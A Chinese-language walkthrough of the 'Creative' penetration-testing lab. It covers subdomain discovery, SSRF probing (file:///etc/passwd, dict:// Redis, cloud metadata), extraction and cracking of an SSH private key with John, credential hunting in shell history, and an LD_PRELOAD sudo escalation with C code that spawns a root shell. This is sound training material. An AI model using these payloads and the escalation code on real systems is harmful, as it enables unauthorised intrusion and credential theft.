1. 靶场渗透实战:从信息收集到权限提升的全过程解析
最近在练习一个名为"Creative"的渗透测试靶场,整个过程涉及信息收集、漏洞利用、密码破解和权限提升等多个环节。这个靶场设计得非常贴近真实环境,下面我就把完整的解题思路和操作细节分享给大家,特别是其中几个关键转折点的处理方式。
2. 信息收集与初步探测
2.1 基础扫描与hosts绑定
一开始使用nmap对目标IP进行扫描时,发现返回的信息非常有限,这是很多CTF靶场的典型设计 - 故意隐藏关键服务端口。这时候就需要转变思路,尝试通过Web应用入手。
访问目标URL时发现一个域名无法解析,这里就涉及到/etc/hosts文件的手动配置。在Linux系统中,/etc/hosts文件用于本地域名解析,优先级高于DNS查询。绑定方法很简单:
bash复制echo "192.168.1.100 creative.thm" | sudo tee -a /etc/hosts
注意:这里使用tee命令而非直接重定向,是为了避免权限问题。sudo只对tee生效,而不会影响整个重定向过程。
2.2 目录与子域名扫描
使用gobuster进行目录扫描时,选择big.txt作为字典是个不错的起点,但实际渗透测试中,根据目标特征选择合适的字典更重要。例如,如果是PHP应用,可以优先尝试php相关的字典。
当主域名扫描无果时,转向子域名扫描是正确的策略。这里使用的vhost扫描模式特别适合虚拟主机环境:
bash复制gobuster vhost -u http://creative.thm -w subdomains-top1m.txt --append-domain -t 50
参数说明:
--append-domain:确保字典中的条目会与主域名拼接-t 50:增加线程数加速扫描(但要注意不要对生产环境造成影响)
3. SSRF漏洞的发现与利用
3.1 漏洞识别与验证
在发现的子域名中,存在URL探测功能。输入127.0.0.1后得到响应,这确实表明存在SSRF(Server-Side Request Forgery)漏洞。SSRF之所以危险,是因为它允许攻击者从服务器端发起任意请求,绕过防火墙等边界防护。
验证SSRF时,可以尝试不同协议和地址:
- http://127.0.0.1
- file:///etc/passwd
- dict://127.0.0.1:6379/info (测试Redis)
3.2 使用SSRFMap进行内网探测
SSRFMap是一个专门用于SSRF漏洞利用的工具,安装过程如下:
bash复制git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
pip3 install -r requirements.txt
准备请求文件时,使用Burp Suite拦截请求并保存为requests.txt是个好方法。文件中应包含完整的HTTP请求,包括Headers和Body。
端口扫描命令执行后,output.txt会显示开放的内部端口。在这个案例中,1337端口的发现是关键转折点。
4. SSH私钥获取与破解
4.1 私钥文件获取
通过SSRF访问1337端口发现的私钥文件,通常位于~/.ssh/id_rsa位置。在真实环境中,管理员有时会忘记删除测试用的密钥或备份文件。
保存私钥时要确保权限设置正确:
bash复制chmod 600 id_rsa
错误的权限可能导致SSH拒绝使用该密钥。
4.2 使用John破解SSH私钥密码
SSH私钥加密密码的破解需要先将密钥转换为John能识别的哈希格式:
bash复制/usr/share/john/ssh2john.py id_rsa > hash.txt
然后使用字典攻击:
bash复制john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
专业提示:如果rockyou.txt不奏效,可以尝试其他更专业的密码字典,或者使用规则变形攻击:
john --wordlist=rockyou.txt --rules hash.txt
5. 系统登录与权限提升
5.1 通过SSH登录目标系统
使用破解出的密码登录系统:
bash复制ssh -i id_rsa saad@creative.thm
如果遇到"Too many authentication failures"错误,可以添加:
bash复制ssh -o IdentitiesOnly=yes -i id_rsa saad@creative.thm
5.2 从bash_history中获取密码
检查bash历史是基本操作:
bash复制cat ~/.bash_history | less
但更全面的做法是检查所有可能的历史文件:
bash复制ls -la ~/.*_history
cat ~/.mysql_history 2>/dev/null
cat ~/.psql_history 2>/dev/null
5.3 利用LD_PRELOAD提权
发现sudo配置中设置了env_keep+=LD_PRELOAD,这是经典的动态链接库劫持提权方式。实现步骤如下:
- 创建恶意库文件preload.c:
c复制#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
- 编译为共享库:
bash复制gcc -fPIC -shared -nostartfiles -o preload.so preload.c
- 通过sudo执行任意命令时预加载该库:
bash复制sudo LD_PRELOAD=/tmp/preload.so <任意命令>
这个漏洞之所以有效,是因为LD_PRELOAD允许我们在程序运行前先加载自定义的共享库,从而覆盖标准的函数实现。
6. 渗透测试中的经验总结
在整个渗透过程中,有几个关键点值得特别注意:
-
信息收集要全面:不要只依赖单一工具,nmap扫不到信息就立即转向其他方法。
-
SSRF漏洞利用要彻底:除了端口扫描,还可以尝试读取内部文件、访问元数据服务(如AWS的169.254.169.254)等。
-
密码破解要有耐心:rockyou.txt虽然常用,但有时需要尝试其他字典或组合攻击。
-
提权方法要多了解:LD_PRELOAD只是其中一种方式,实际环境中还可能遇到sudo配置错误、SUID二进制文件、内核漏洞等多种提权路径。
最后,这种靶场练习最重要的是理解每个步骤背后的原理,而不仅仅是记住命令。只有真正理解了为什么这样做有效,才能在面对真实环境时灵活应变。